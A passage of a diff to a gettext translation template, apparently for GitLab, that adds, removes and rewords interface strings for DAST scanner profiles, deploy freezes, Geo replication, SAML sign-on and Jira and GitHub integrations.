msgid "DastProfiles|Error Details"
msgstr ""
@@ -9913,6 +10234,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9946,6 +10270,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9976,12 +10303,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -10063,6 +10402,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -10093,6 +10435,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10534,13 +10879,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10651,9 +11002,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10681,9 +11029,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10801,9 +11146,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10963,13 +11305,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10984,7 +11326,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -11242,6 +11584,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -11485,6 +11830,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11497,6 +11845,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11716,6 +12067,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11740,6 +12094,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11752,6 +12109,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11764,6 +12124,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11875,6 +12238,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11944,9 +12310,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12574,19 +12937,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12595,7 +12958,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12706,9 +13069,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12775,6 +13135,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12844,6 +13207,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12856,12 +13222,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12889,9 +13249,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12913,13 +13270,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -13018,6 +13378,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -13045,9 +13408,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -13096,9 +13465,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -13153,9 +13519,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13543,10 +13906,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13579,7 +13942,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13681,6 +14044,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13729,12 +14095,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13744,9 +14113,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13771,6 +14137,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13780,6 +14149,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13795,6 +14167,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13813,9 +14188,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -14077,6 +14449,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14119,9 +14494,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -14146,6 +14527,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -14179,6 +14569,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -14206,6 +14602,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -14218,6 +14617,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -14245,6 +14668,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -14257,6 +14683,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -14290,6 +14719,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -14335,6 +14767,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -14464,6 +14899,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14587,6 +15028,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14629,9 +15088,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14761,16 +15217,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14782,6 +15235,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14839,6 +15295,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14920,9 +15382,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -15025,9 +15484,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -15043,7 +15508,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -15139,9 +15607,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -15337,9 +15802,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -15475,9 +15937,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15664,6 +16123,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15832,6 +16294,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -16000,9 +16468,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -16054,12 +16519,15 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -16069,9 +16537,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16657,6 +17122,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16831,6 +17299,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16876,9 +17347,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16903,6 +17371,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16939,9 +17410,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -17137,7 +17605,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -17146,7 +17614,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -17155,25 +17623,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -17188,6 +17656,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -17350,6 +17821,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -17359,6 +17833,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -17446,6 +17923,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -17509,6 +17989,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17596,6 +18079,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17608,9 +18094,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17650,7 +18145,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17671,7 +18169,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17683,12 +18181,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17905,15 +18409,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -18004,6 +18499,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -18211,6 +18709,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18637,6 +19138,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18706,6 +19210,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18880,6 +19387,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18919,6 +19429,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18943,9 +19456,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -19021,6 +19531,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -19039,13 +19552,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -19120,6 +19630,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -19222,9 +19735,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -19234,9 +19744,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -19369,9 +19876,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -19429,9 +19933,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -20002,6 +20503,9 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -20194,6 +20698,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -20257,6 +20767,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
